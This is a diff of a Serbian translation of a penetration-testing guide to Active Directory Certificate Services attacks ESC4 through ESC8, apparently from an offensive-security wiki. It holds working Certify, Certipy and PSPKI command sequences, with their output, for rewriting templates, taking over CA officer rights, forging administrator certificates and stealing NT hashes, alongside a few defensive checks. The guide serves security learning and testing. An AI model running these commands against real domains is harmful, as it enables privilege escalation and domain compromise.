šablone u kojima su **enrollment agents** ovlašćeni da se prijave, i **nalozi** u čije ime enrollment agent može da deluje mogu biti ograničeni od strane enterprise CA-ova. Ovo se postiže otvaranjem `certsrc.msc` **snap-in**, **right-clicking on the CA**, **clicking Properties**, i zatim **navigating** do “Enrollment Agents” taba. -Međutim, primećeno je da je **podrazumevana** postavka za CA “**Ne ograničavaj agente za upis**.” Kada administratori omoguće ograničenje za agente za upis, postavljanjem na “Ograniči agente za upis,” podrazumevana konfiguracija ostaje izuzetno permisivna. Omogućava **Svima** pristup da se upisuju u sve šablone kao bilo ko. +Međutim, primećeno je da je **default** podešavanje za CA-e “**Do not restrict enrollment agents**.” Kada administratori omoguće ograničenje na enrollment agents, postavljanjem na “Restrict enrollment agents,” podrazumevana konfiguracija ostaje izuzetno permisivna. Omogućava **Everyone** pristup da se prijavi na sve šablone kao bilo ko. -## Kontrola pristupa ranjivim šablonima sertifikata - ESC4 +## Ranljiva kontrola pristupa šablonima sertifikata - ESC4 ### **Objašnjenje** -**Sigurnosni opis** na **šablonima sertifikata** definiše **dozvole** koje specifični **AD principi** poseduju u vezi sa šablonom. +Bezbednosni deskriptor na **certificate templates** definiše **permissions** koje određeni **AD principals** imaju u vezi sa šablonom. -Ako **napadač** poseduje potrebne **dozvole** da **izmeni** **šablon** i **uspostavi** bilo kakve **iskorišćene pogrešne konfiguracije** opisane u **prethodnim odsecima**, privilegije bi mogle biti eskalirane. +Ako **attacker** poseduje neophodne **permissions** da **alter** **template** i **institute** bilo koje **exploitable misconfigurations** opisane u **prior sections**, to može omogućiti eskalaciju privilegija. Značajne dozvole koje se primenjuju na šablone sertifikata uključuju: -- **Vlasnik:** Daje implicitnu kontrolu nad objektom, omogućavajući modifikaciju bilo kojih atributa. -- **FullControl:** Omogućava potpunu vlast nad objektom, uključujući sposobnost da se menjaju bilo koji atributi. -- **WriteOwner:** Dozvoljava promenu vlasnika objekta na principala pod kontrolom napadača. -- **WriteDacl:** Omogućava prilagođavanje kontrola pristupa, potencijalno dajući napadaču FullControl. -- **WriteProperty:** Ovlašćuje uređivanje bilo kojih svojstava objekta. +- **Owner:** Grants implicit control over the object, allowing for the modification of any attributes. +- **FullControl:** Enables complete authority over the object, including the capability to alter any attributes. +- **WriteOwner:** Permits the alteration of the object's owner to a principal under the attacker's control. +- **WriteDacl:** Allows for the adjustment of access controls, potentially granting an attacker FullControl. +- **WriteProperty:** Authorizes the editing of any object properties. ### Zloupotreba -Primer privesc-a poput prethodnog: +Da biste identifikovali principale sa pravima izmene na šablonima i drugim PKI objektima, enumerišite pomoću Certify: +```bash +Certify.exe find /showAllPermissions +Certify.exe pkiobjects /domain:corp.local /showAdmins +``` +Primer privesc-a sličan prethodnom:
-ESC4 je kada korisnik ima privilegije pisanja nad šablonom sertifikata. Ovo se može zloupotrebiti, na primer, da se prepiše konfiguracija šablona sertifikata kako bi se šablon učinio ranjivim na ESC1. +ESC4 je kada korisnik ima write privilegije nad šablonom sertifikata. Ovo se, na primer, može zloupotrebiti da bi se prepisala konfiguracija šablona sertifikata i učinila ranjivom na ESC1. -Kao što možemo videti u putanji iznad, samo `JOHNPC` ima ove privilegije, ali naš korisnik `JOHN` ima novu `AddKeyCredentialLink` ivicu prema `JOHNPC`. Pošto je ova tehnika povezana sa sertifikatima, implementirao sam i ovaj napad, koji je poznat kao [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Evo malog pregleda Certipy-ovog `shadow auto` komanda za preuzimanje NT heša žrtve. +Kao što vidimo u putanji iznad, samo `JOHNPC` ima ove privilegije, ali naš korisnik `JOHN` ima novu `AddKeyCredentialLink` ivicu prema `JOHNPC`. Pošto je ova tehnika povezana sa sertifikatima, implementirao sam i ovaj napad, koji je poznat kao [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Evo malog prikaza Certipy-ove `shadow auto` komande za dobijanje NT hasha žrtve. ```bash certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc' ``` -**Certipy** može prepisati konfiguraciju šablona sertifikata jednim komandama. Po **defaultu**, Certipy će **prepisati** konfiguraciju kako bi je učinio **ranjivom na ESC1**. Takođe možemo odrediti **`-save-old` parametar za čuvanje stare konfiguracije**, što će biti korisno za **obnavljanje** konfiguracije nakon našeg napada. +**Certipy** može da prepiše konfiguraciju šablona sertifikata jednom komandom. **Podrazumevano**, Certipy će **prepisati** konfiguraciju da bi bila **ranjiva na ESC1**. Takođe možemo navesti **`-save-old` parametar za čuvanje stare konfiguracije**, što će biti korisno za **vraćanje** konfiguracije nakon našeg napada. ```bash # Make template vuln to ESC1 certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old @@ -160,37 +177,37 @@ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target # Restore config certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json ``` -## Vulnerable PKI Object Access Control - ESC5 +## Ranljiva kontrola pristupa PKI objekata - ESC5 ### Objašnjenje -Opsežna mreža međusobno povezanih ACL odnosa, koja uključuje nekoliko objekata pored šablona sertifikata i sertifikacione vlasti, može uticati na bezbednost celog AD CS sistema. Ovi objekti, koji mogu značajno uticati na bezbednost, obuhvataju: +Opsežna mreža međusobno povezanih ACL-zasnovanih odnosa, koja uključuje više objekata izvan certificate templates i certificate authority, može uticati na bezbednost celog AD CS sistema. Ti objekti, koji značajno utiču na bezbednost, obuhvataju: -- AD računar objekat CA servera, koji može biti kompromitovan putem mehanizama kao što su S4U2Self ili S4U2Proxy. -- RPC/DCOM server CA servera. -- Bilo koji potomak AD objekta ili kontejner unutar specifične putanje kontejnera `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`. Ova putanja uključuje, ali nije ograničena na, kontejnere i objekte kao što su kontejner šablona sertifikata, kontejner sertifikacionih vlasti, objekat NTAuthCertificates i kontejner usluga upisa. +- AD computer object of the CA server, koji može biti kompromitovan putem mehanizama kao što su S4U2Self ili S4U2Proxy. +- RPC/DCOM server of the CA server. +- Bilo koji descendant AD object ili container unutar specifične container path `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`. Ova putanja uključuje, ali nije ograničena na, containere i objekte kao što su Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, i the Enrollment Services Container. -Bezbednost PKI sistema može biti kompromitovana ako napadač sa niskim privilegijama uspe da preuzme kontrolu nad bilo kojim od ovih kritičnih komponenti. +Bezbednost PKI sistema može biti ugrožena ako napadač sa niskim privilegijama uspe da preuzme kontrolu nad bilo kojom od ovih kritičnih komponenti. ## EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6 ### Objašnjenje -Tema o kojoj se raspravlja u [**CQure Academy postu**](https://cqureacademy.com/blog/enhanced-key-usage) takođe se dotiče implikacija **`EDITF_ATTRIBUTESUBJECTALTNAME2`** oznake, kako je navedeno od strane Microsoft-a. Ova konfiguracija, kada je aktivirana na Sertifikacionoj Vlasti (CA), omogućava uključivanje **korisnički definisanih vrednosti** u **alternativno ime subjekta** za **bilo koji zahtev**, uključujući one konstruisane iz Active Directory®. Kao rezultat, ova odredba omogućava **napadaču** da se upiše putem **bilo kog šablona** postavljenog za **autentifikaciju** domena—specifično onih otvorenih za upis **neprivilegovanih** korisnika, poput standardnog šablona korisnika. Kao rezultat, može se obezbediti sertifikat, omogućavajući napadaču da se autentifikuje kao administrator domena ili **bilo koja druga aktivna entitet** unutar domena. +Tema obrađena u [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) takođe se dotiče implikacija zastavice **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, kako to navodi Microsoft. Kada je ova konfiguracija uključena na Certification Authority (CA), dozvoljava uključivanje **user-defined values** u **subject alternative name** za **any request**, uključujući one kreirane iz Active Directory®. Posledično, ovo omogućava napadaču da se enroll-uje kroz **any template** podešen za domen **authentication** — posebno one otvorene za enrollment neprivilegovanih korisnika, kao što je standardni User template. Kao rezultat, može se dobiti sertifikat koji omogućava napadaču da se autentifikuje kao domain administrator ili **any other active entity** unutar domena. -**Napomena**: Pristup za dodavanje **alternativnih imena** u Zahtev za potpisivanje sertifikata (CSR), putem argumenta `-attrib "SAN:"` u `certreq.exe` (poznat kao “Name Value Pairs”), predstavlja **kontrast** od strategije eksploatacije SAN-ova u ESC1. Ovde, razlika leži u **načinu na koji su informacije o računu enkapsulirane**—unutar atributa sertifikata, a ne ekstenzije. +**Napomena**: Pristup dodavanju **alternative names** u a Certificate Signing Request (CSR), putem argumenta `-attrib "SAN:"` u `certreq.exe` (nazvanog “Name Value Pairs”), predstavlja kontrast u odnosu na strategiju eksploatacije SANs u ESC1. Ovde razlika leži u tome kako se informacije o nalogu enkapsuliraju — unutar certificate attribute, umesto kao extension. ### Zloupotreba -Da bi proverile da li je postavka aktivirana, organizacije mogu koristiti sledeću komandu sa `certutil.exe`: +Da bi proverile da li je podešavanje aktivirano, organizacije mogu upotrebiti sledeću komandu sa `certutil.exe`: ```bash certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags" ``` -Ova operacija suštinski koristi **remote registry access**, stoga, alternativni pristup može biti: +Ova operacija u suštini koristi **remote registry access**, stoga, alternativni pristup može biti: ```bash reg.exe query \\\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags ``` -Alati kao što su [**Certify**](https://github.com/GhostPack/Certify) i [**Certipy**](https://github.com/ly4k/Certipy) su sposobni da detektuju ovu pogrešnu konfiguraciju i iskoriste je: +Alati kao [**Certify**](https://github.com/GhostPack/Certify) i [**Certipy**](https://github.com/ly4k/Certipy) mogu да открију ovu pogrešnu konfiguraciju и iskoriste je: ```bash # Detect vulnerabilities, including this one Certify.exe find @@ -199,39 +216,37 @@ Certify.exe find Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local ``` -Da bi se izmenile ove postavke, pod pretpostavkom da se poseduje **administratorska prava na domeni** ili ekvivalentna, sledeća komanda može biti izvršena sa bilo koje radne stanice: +Da biste promenili ova podešavanja, pod pretpostavkom da posedujete **domain administrative** prava ili ekvivalent, sledeća komanda može biti izvršena sa bilo koje radne stanice: ```bash certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2 ``` -Da biste onemogućili ovu konfiguraciju u vašem okruženju, zastavica se može ukloniti sa: +Da biste onemogućili ovu konfiguraciju u vašem okruženju, zastavica se može ukloniti pomoću: ```bash certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2 ``` > [!WARNING] -> Nakon bezbednosnih ažuriranja iz maja 2022. godine, novoizdati **certifikati** će sadržati **bezbednosnu ekstenziju** koja uključuje **`objectSid` svojstvo** podnosioca zahteva. Za ESC1, ovaj SID se izvodi iz specificiranog SAN-a. Međutim, za **ESC6**, SID odražava **`objectSid` podnosioca zahteva**, a ne SAN.\ -> Da bi se iskoristio ESC6, neophodno je da sistem bude podložan ESC10 (Slabe Mape Certifikata), koje prioritetizuje **SAN nad novom bezbednosnom ekstenzijom**. +> Nakon bezbednosnih ažuriranja iz maja 2022, novo izdata **certificates** će sadržati **security extension** koji uključuje **requester's `objectSid` property**. Za ESC1, ovaj SID je izveden iz navedenog SAN-a. Međutim, za **ESC6**, SID odražava **requester's `objectSid`**, a ne SAN.\ +> Da bi se iskoristio ESC6, bitno je da sistem bude podložan ESC10 (Weak Certificate Mappings), koji daje prednost **SAN over the new security extension**. -## Kontrola Pristupa Ranljive Certifikacione Autoritete - ESC7 +## Ranljiv Certificate Authority Access Control - ESC7 ### Napad 1 #### Objašnjenje -Kontrola pristupa za certifikacionu vlast održava se kroz skup dozvola koje regulišu radnje CA. Ove dozvole se mogu pregledati pristupanjem `certsrv.msc`, desnim klikom na CA, izborom svojstava, a zatim navigacijom do kartice Bezbednost. Pored toga, dozvole se mogu enumerisati koristeći PSPKI modul sa komandama kao što su: +Kontrola pristupa za certificate authority održava se skupom dozvola koje upravljaju radnjama CA. Te dozvole se mogu pregledati otvaranjem `certsrv.msc`, desnim klikom na CA, izborom Properties, a zatim prelaskom na Security tab. Takođe, dozvole se mogu izbrojati korišćenjem PSPKI modula pomoću komandi kao što su: ```bash Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access ``` -Ovo pruža uvid u primarna prava, naime **`ManageCA`** i **`ManageCertificates`**, koja se odnose na uloge “CA administratora” i “Menadžera sertifikata” respektivno. - #### Zloupotreba -Imanje **`ManageCA`** prava na certifikacionoj vlasti omogućava principalu da manipuliše podešavanjima na daljinu koristeći PSPKI. Ovo uključuje prebacivanje **`EDITF_ATTRIBUTESUBJECTALTNAME2`** oznake kako bi se omogućila SAN specifikacija u bilo kojem šablonu, što je kritičan aspekt eskalacije domena. +Posedovanje prava **`ManageCA`** nad sertifikacionom autoritetom omogućava entitetu da daljinski menja podešavanja koristeći PSPKI. To uključuje uključivanje/isključivanje zastavice **`EDITF_ATTRIBUTESUBJECTALTNAME2`** da bi se dozvolilo navođenje SAN-a u bilo kojem šablonu, što je kritičan aspekt eskalacije domena. -Pojednostavljenje ovog procesa je ostvarivo korišćenjem PSPKI-ove **Enable-PolicyModuleFlag** cmdlet, što omogućava izmene bez direktne interakcije sa GUI-jem. +Pojednostavljenje ovog procesa je izvodljivo upotrebom PSPKI-jevog cmdlet-a **Enable-PolicyModuleFlag**, što omogućava izmene bez direktne interakcije sa GUI-jem. -Posedovanje **`ManageCertificates`** prava olakšava odobravanje čekajućih zahteva, efikasno zaobilazeći zaštitu "odobrenja menadžera CA sertifikata". +Posedovanje prava **`ManageCertificates`** omogućava odobravanje čekajućih zahteva, efikasno zaobilazeći meru zaštite "CA certificate manager approval". -Kombinacija **Certify** i **PSPKI** modula može se koristiti za zahtev, odobravanje i preuzimanje sertifikata: +Kombinacija modula **Certify** i **PSPKI** može se koristiti za podnošenje zahteva, odobravanje i preuzimanje sertifikata: ```bash # Request a certificate that will require an approval Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded @@ -252,28 +267,28 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336 #### Explanation > [!WARNING] -> U **prethodnom napadu** **`Manage CA`** dozvole su korišćene da se **omogući** **EDITF_ATTRIBUTESUBJECTALTNAME2** zastavica za izvođenje **ESC6 napada**, ali to neće imati nikakvog efekta dok se CA servis (`CertSvc`) ne restartuje. Kada korisnik ima pravo pristupa `Manage CA`, korisniku je takođe dozvoljeno da **restartuje servis**. Međutim, to **ne znači da korisnik može da restartuje servis na daljinu**. Štaviše, E**SC6 možda neće raditi odmah** u većini zakrpljenih okruženja zbog bezbednosnih ažuriranja iz maja 2022. +> U **prethodnom napadu** **`Manage CA`** permissions su korišćene da **omoguće** zastavicu **EDITF_ATTRIBUTESUBJECTALTNAME2** kako bi se izveo **ESC6 attack**, ali to neće imati efekta dok se CA servis (`CertSvc`) ne restartuje. Kada korisnik ima pristupno pravo `Manage CA`, korisniku je takođe dozvoljeno da **restartuje servis**. Međutim, to **ne znači da korisnik može restartovati servis na daljinu**. Nadalje, E**SC6 možda neće raditi odmah** u većini zakrpanih okruženja zbog bezbednosnih ažuriranja iz maja 2022. -Stoga, ovde je predstavljen još jedan napad. +Zbog toga se ovde prikazuje drugi napad. Perquisites: -- Samo **`ManageCA` dozvola** -- **`Manage Certificates`** dozvola (može se dodeliti iz **`ManageCA`**) -- Šablon sertifikata **`SubCA`** mora biti **omogućen** (može se omogućiti iz **`ManageCA`**) +- Samo **`ManageCA` permission** +- **`Manage Certificates`** permission (može se dodeliti iz **`ManageCA`**) +- Šablon sertifikata **`SubCA`** mora biti **enabled** (može se enabled iz **`ManageCA`**) -Tehnika se oslanja na činjenicu da korisnici sa pravima pristupa `Manage CA` _i_ `Manage Certificates` mogu **izdavati neuspela zahteva za sertifikate**. Šablon sertifikata **`SubCA`** je **ranjiv na ESC1**, ali **samo administratori** mogu da se upišu u šablon. Tako, **korisnik** može **zatražiti** da se upiše u **`SubCA`** - što će biti **odbijeno** - ali će **zatim biti izdano od strane menadžera**. +Tehnika se oslanja na činjenicu da korisnici sa pristupnim pravima `Manage CA` _i_ `Manage Certificates` mogu **kreirati neuspešne zahteve za sertifikat**. Šablon sertifikata **`SubCA`** je **ranjiv na ESC1**, ali **samo administratori** mogu da se upišu koristeći taj šablon. Dakle, **korisnik** može **zatražiti** upis u **`SubCA`** - što će biti **odbijeno** - ali će ga potom **menadžer izdati naknadno**. #### Abuse -Možete **dodeliti sebi pravo pristupa `Manage Certificates`** dodavanjem svog korisnika kao novog službenika. +Možete sebi dodeliti pristupno pravo **`Manage Certificates`** tako što ćete svog korisnika dodati kao novog službenika. ```bash certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully added officer 'John' on 'corp-DC-CA' ``` -**`SubCA`** шаблон може бити **омогућен на CA** са параметром `-enable-template`. По подразумеваној вредности, `SubCA` шаблон је омогућен. +Šablon **`SubCA`** može biti **omogućen na CA** korišćenjem parametra `-enable-template`. Podrazumevano, šablon `SubCA` je omogućen. ```bash # List templates certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA' @@ -285,9 +300,9 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully enabled 'SubCA' on 'corp-DC-CA' ``` -Ako smo ispunili preduslove za ovaj napad, možemo početi sa **zahtevom za sertifikat na osnovu `SubCA` šablona**. +Ako smo ispunili preduslove za ovaj napad, možemo početi sa **zahtevanjem sertifikata zasnovanog na predlošku `SubCA`**. -**Ovaj zahtev će biti odbijen**, ali ćemo sačuvati privatni ključ i zabeležiti ID zahteva. +**Ovaj zahtev će biti odbijen**, ali ćemo sačuvati private key i zabeležiti request ID. ```bash certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -299,14 +314,14 @@ Would you like to save the private key? (y/N) y [*] Saved private key to 785.key [-] Failed to request certificate ``` -Sa našim **`Manage CA` i `Manage Certificates`**, možemo zatim **izdati neuspešni zahtev za sertifikat** pomoću `ca` komande i `-issue-request ` parametra. +Sa našim **`Manage CA` i `Manage Certificates`**, možemo zatim izdati neuspešan zahtev za sertifikat pomoću komande `ca` i parametra `-issue-request `. ```bash certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully issued certificate ``` -I konačno, možemo **preuzeti izdato sertifikat** pomoću `req` komande i `-retrieve ` parametra. +Na kraju, možemo da **preuzmemo izdat sertifikat** pomoću `req` komande i parametra `-retrieve `. ```bash certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785 Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -318,75 +333,75 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Loaded private key from '785.key' [*] Saved certificate and private key to 'administrator.pfx' ``` -### Napad 3 – Zloupotreba ekstenzije za upravljanje sertifikatima (SetExtension) +### Napad 3 – Manage Certificates Extension Abuse (SetExtension) #### Objašnjenje -Pored klasičnih zloupotreba ESC7 (omogućavanje EDITF atributa ili odobravanje čekajućih zahteva), **Certify 2.0** je otkrio potpuno novu primitivu koja zahteva samo ulogu *Upravljanje sertifikatima* (poznatu i kao **Menadžer sertifikata / Oficir**) na Enterprise CA. +Pored klasičnih ESC7 zloupotreba (omogućavanje EDITF atributa ili odobravanje pending zahteva), **Certify 2.0** je otkrio potpuno novu primitivu koja zahteva samo ulogu *Manage Certificates* (a.k.a. **Certificate Manager / Officer**) na Enterprise CA. -`ICertAdmin::SetExtension` RPC metoda može se izvršiti od strane bilo kog subjekta koji ima *Upravljanje sertifikatima*. Dok se metoda tradicionalno koristila od strane legitimnih CA za ažuriranje ekstenzija na **čekajućim** zahtevima, napadač može zloupotrebiti ovu metodu da **doda *nepodrazumevanu* ekstenziju sertifikata** (na primer, prilagođeni *OID politike izdavanja sertifikata* kao što je `1.1.1.1`) na zahtev koji čeka na odobrenje. +Metod RPC `ICertAdmin::SetExtension` može da izvrši bilo koji principal koji poseduje *Manage Certificates*. Dok se metod tradicionalno koristio od strane legitimnih CA da ažurira ekstenzije na **pending** zahtevima, napadač ga može zloupotrebiti da **doda *non-default* certificate extension** (na primer custom *Certificate Issuance Policy* OID kao `1.1.1.1`) na zahtev koji čeka odobrenje. -Pošto ciljani šablon **ne definiše podrazumevanu vrednost za tu ekstenziju**, CA NEĆE prepisati vrednost koju kontroliše napadač kada se zahtev konačno izda. Rezultantni sertifikat stoga sadrži ekstenziju koju je izabrao napadač koja može: +Pošto ciljani template **ne definiše podrazumevanu vrednost za tu ekstenziju**, CA NEĆE prepisati vrednost koju kontroliše napadač kada zahtev bude konačno izdat. Rezultujući sertifikat stoga sadrži napadačem izabranu ekstenziju koja može: -* Zadovoljiti zahteve politike aplikacije / izdavanja drugih ranjivih šablona (što dovodi do eskalacije privilegija). -* Umetnuti dodatne EKU ili politike koje daju sertifikatu neočekivano poverenje u sistemima trećih strana. +* Zadovoljiti Application / Issuance Policy zahteve drugih ranjivih template-a (vodeći do eskalacije privilegija). +* Ubaciti dodatne EKU ili politike koje dodeljuju sertifikatu neočekivano poverenje u third-party sistemima. -Ukratko, *Upravljanje sertifikatima* – ranije smatrano "manje moćnom" polovinom ESC7 – sada se može iskoristiti za potpunu eskalaciju privilegija ili dugotrajnu postojanost, bez dodirivanja CA konfiguracije ili zahteva za restriktivnijim pravom *Upravljanje CA*. +Ukratko, *Manage Certificates* — ranije smatrana „manje moćnom“ polovicom ESC7 — sada se može iskoristiti za punu eskalaciju privilegija ili dugoročnu persistenciju, bez diranja CA konfiguracije ili potrebe za restriktivnijim pravom *Manage CA*. -#### Zloupotreba primitive sa Certify 2.0 +#### Abuziranje primitive sa Certify 2.0 -1. **Podnesite zahtev za sertifikat koji će ostati *čekajući*.** Ovo se može primorati šablonom koji zahteva odobrenje menadžera: +1. **Podnesite certificate request koji će ostati *pending*.** Ovo se može forsirati template-om koji zahteva manager approval: ```powershell Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval -# Zabeležite vraćeni ID zahteva +# Take note of the returned Request ID ``` -2. **Dodajte prilagođenu ekstenziju na čekajući zahtev** koristeći novu `manage-ca` komandu: +2. **Dodajte custom ekstenziju na pending zahtev** koristeći novi `manage-ca` komand: ```powershell Certify.exe manage-ca --ca SERVER\\CA-NAME \ --request-id 1337 \ ---set-extension "1.1.1.1=DER,10,01 01 00 00" # lažni OID politike izdavanja +--set-extension "1.1.1.1=DER,10,01 01 00 00" # fake issuance-policy OID ``` -*Ako šablon već ne definiše ekstenziju *Politike izdavanja sertifikata*, gornja vrednost će biti sačuvana nakon izdavanja.* +*Ako template već ne definiše *Certificate Issuance Policies* ekstenziju, vrednost iznad će biti sačuvana nakon izdavanja.* -3. **Izdajte zahtev** (ako vaša uloga takođe ima prava odobravanja *Upravljanja sertifikatima*) ili sačekajte da ga odobri operater. Kada se izda, preuzmite sertifikat: +3. **Izdajte zahtev** (ako vaša uloga takođe ima odobrenja za *Manage Certificates*) ili sačekajte da operator odobri. Kada bude izdat, preuzmite sertifikat: ```powershell Certify.exe request-download --ca SERVER\\CA-NAME --id 1337 ``` -4. Rezultantni sertifikat sada sadrži zlonamerni OID politike izdavanja i može se koristiti u narednim napadima (npr. ESC13, eskalacija domena, itd.). +4. Rezultujući sertifikat sada sadrži maliciozni issuance-policy OID i može se koristiti u narednim napadima (npr. ESC13, domain escalation, itd.). -> NAPOMENA: Isti napad može se izvršiti sa Certipy ≥ 4.7 putem `ca` komande i `-set-extension` parametra. +> NOTE: Isti napad se može izvesti sa Certipy ≥ 4.7 preko `ca` komande i `-set-extension` parametra. -## NTLM Preusmeravanje na AD CS HTTP Krajnje Tačke – ESC8 +## NTLM Relay to AD CS HTTP Endpoints – ESC8 ### Objašnjenje > [!TIP] -> U okruženjima gde je **AD CS instaliran**, ako postoji **ranjiva tačka za web upis** i barem jedan **šablon sertifikata je objavljen** koji omogućava **upis domena računara i autentifikaciju klijenata** (kao što je podrazumevani **`Machine`** šablon), postaje moguće da **bilo koji računar sa aktivnom spooler uslugom bude kompromitovan od strane napadača**! +> U okruženjima gde je **AD CS instaliran**, ako postoji **vulnerable web enrollment endpoint** i bar jedan **certificate template je published** koji dozvoljava **domain computer enrollment i client authentication** (kao default **`Machine`** template), postaje moguće da **bilo koji računar sa aktivnim spooler servisom bude kompromitovan od strane napadača**! -NSeveral **HTTP-baziranih metoda upisa** podržava AD CS, dostupnih kroz dodatne server uloge koje administratori mogu instalirati. Ove interfejse za HTTP-bazirani upis sertifikata su podložne **NTLM preusmeravajućim napadima**. Napadač, sa **kompromitovane mašine, može se pretvarati da je bilo koji AD nalog koji se autentifikuje putem dolaznog NTLM**. Dok se pretvara u nalog žrtve, ove web interfejse može pristupiti napadač da **zatraži sertifikat za autentifikaciju klijenta koristeći `User` ili `Machine` šablone sertifikata**. +AD CS podržava nekoliko **HTTP-based enrollment metoda**, dostupnih kroz dodatne server role koje administratori mogu instalirati. Ovi interfejsi za HTTP-based certificate enrollment su podložni **NTLM relay** napadima. Napadač, sa **kompromitovane mašine, može imitirati bilo koji AD nalog koji se autentifikuje putem inbound NTLM**. Dok se lažno predstavlja kao žrtva, ove web interfejse napadač može koristiti da **zahteva client authentication certificate koristeći `User` ili `Machine` certificate template-e**. -- **Web interfejs za upis** (starija ASP aplikacija dostupna na `http:///certsrv/`), podrazumevano koristi samo HTTP, što ne nudi zaštitu od NTLM preusmeravajućih napada. Pored toga, izričito dozvoljava samo NTLM autentifikaciju kroz svoj Authorization HTTP header, čineći sigurnije metode autentifikacije poput Kerberosa neprimenljivim. -- **Usluga za upis sertifikata** (CES), **Politika upisa sertifikata** (CEP) Web servis, i **Usluga za upis mrežnih uređaja** (NDES) podrazumevano podržavaju pregovaranu autentifikaciju putem svog Authorization HTTP header-a. Pregovarajuća autentifikacija **podržava i** Kerberos i **NTLM**, omogućavajući napadaču da **smanji na NTLM** autentifikaciju tokom preusmeravajućih napada. Iako ovi web servisi omogućavaju HTTPS podrazumevano, HTTPS sam po sebi **ne štiti od NTLM preusmeravajućih napada**. Zaštita od NTLM preusmeravajućih napada za HTTPS usluge je moguća samo kada se HTTPS kombinuje sa vezivanjem kanala. Nažalost, AD CS ne aktivira Proširenu zaštitu za autentifikaciju na IIS-u, što je potrebno za vezivanje kanala. +- **web enrollment interface** (starija ASP aplikacija dostupna na `http:///certsrv/`), podrazumevano radi samo preko HTTP, što ne pruža zaštitu protiv NTLM relay napada. Dodatno, eksplicitno dozvoljava samo NTLM autentikaciju kroz Authorization HTTP header, čineći sigurnije metode autentikacije kao Kerberos neprimenjivim. +- **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) Web Service, i **Network Device Enrollment Service** (NDES) podrazumevano podržavaju negotiate autentikaciju preko svog Authorization HTTP header-a. Negotiate autentikacija **podržava i** Kerberos i **NTLM**, što napadaču omogućava da tokom relay napada **downgrade-uje na NTLM**. Iako ovi web servisi po default-u omogućavaju HTTPS, sam HTTPS **ne štiti od NTLM relay napada**. Zaštita od NTLM relay napada za HTTPS servise je moguća samo kada je HTTPS kombinovan sa channel binding. Nažalost, AD CS ne aktivira Extended Protection for Authentication na IIS-u, što je potrebno za channel binding. -Uobičajeni **problem** sa NTLM preusmeravajućim napadima je **kratko trajanje NTLM sesija** i nemogućnost napadača da interaguje sa uslugama koje **zahtevaju NTLM potpisivanje**. +Uobičajen **problem** kod NTLM relay napada je **kratko trajanje NTLM sesija** i nemogućnost napadača da interaguje sa servisima koji **zahtevaju NTLM signing**. -Ipak, ova ograničenja se prevazilaze zloupotrebom NTLM preusmeravajućeg napada da se dobije sertifikat za korisnika, pošto period važenja sertifikata određuje trajanje sesije, a sertifikat se može koristiti sa uslugama koje **zahtevaju NTLM potpisivanje**. Za uputstva o korišćenju ukradenog sertifikata, pogledajte: +Ipak, ovo ograničenje je prevaziđeno iskorišćavanjem NTLM relay napada da se pribavi sertifikat za korisnika, pošto period važenja sertifikata određuje trajanje sesije, i sertifikat se može koristiti sa servisima koji **zahtevaju NTLM signing**. Za instrukcije o korišćenju ukradenog sertifikata, pogledajte: {{#ref}} account-persistence.md {{#endref}} -Još jedno ograničenje NTLM preusmeravajućih napada je da **mašina koju kontroliše napadač mora biti autentifikovana od strane naloga žrtve**. Napadač može ili čekati ili pokušati da **pripreti** ovu autentifikaciju: +Joše jedno ograničenje NTLM relay napada je da **mašina pod kontrolom napadača mora biti autentifikovana od strane žrtvinog naloga**. Napadač može ili da sačeka ili pokuša da to autentifikovanje **forsira**: {{#ref}} ../printers-spooler-service-abuse.md {{#endref}} -### **Zloupotreba** +### **Abuziranje** [**Certify**](https://github.com/GhostPack/Certify)’s `cas` enumerates **enabled HTTP AD CS endpoints**: ``` @@ -394,7 +409,7 @@ Certify.exe cas ```
